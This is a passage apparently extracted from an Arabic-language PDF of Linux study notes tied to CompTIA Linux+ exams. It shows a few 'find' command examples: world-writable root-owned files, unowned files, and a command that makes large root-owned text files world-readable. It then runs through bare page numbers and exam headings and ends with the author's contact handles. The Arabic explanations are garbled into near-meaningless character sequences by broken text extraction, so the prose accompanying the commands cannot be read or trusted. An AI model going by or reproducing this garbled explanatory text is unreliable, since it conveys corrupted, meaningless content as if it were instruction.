‫‪find / -perm +002 -user root‬‬

‫للبدث غً اإلالفاث اللتي لِغ لذيها مالً‬


‫‪find / -nouser‬‬

‫‪45‬‬
‫للبدث غً اإلالفاث اللتي مالىها َى الُىصس )‪(root‬‬
‫‪find / -user root‬‬

‫مً ألاوامش الخفصُلُه لـ )‪(find‬‬


‫‪find / -name "*.txt" -size +10k -user root -not -perm +o=r -exec chmod o+r‬‬
‫;\ }{‬

‫ششح ألامش‬
‫‪ txt‬ابدث في حمُؼ اإلاجلذاث ‪ ..‬غً اي ملف هص ي امخذادٍ‬
‫‪ root‬وحجمه أهثر مً ‪ 10‬هُلى باًذ ‪ ..‬وصاخبه الُىصس‬
‫وغير كابله لللشاءٍ مً اي ًىصس اخش ماغذا مالىها ألاصلي‬
‫) ‪ -r-xr--r--‬وسمضٍ ( ) ‪ٌ ( execution‬عخؼُؼ صاخبها كشائتها وويظخؼُؼ جىفُزَا‬

‫‪46‬‬
CompTIA Linux + Exam
CompTIA_LX0-101

47
48
49
50
51
52
53
CompTIA Linux + Exam
CompTIA_LX0-102

54
55
56
57
58
59
60
61
62
CompTIA Linux + Exam
CompTIA_LX0-103

63
64
65
66
67
68
69
CompTIA Linux + Exam
CompTIA_LX0-104

70
71
72
73
74
75
76
Comptia
Linux+

Email : anwaryousef@protonmail.com
Facebook : anwar.yousef.509
Twitter: @AnwarYousef7
Linkedin: anwar-yousef-8802b4130

77

You might also like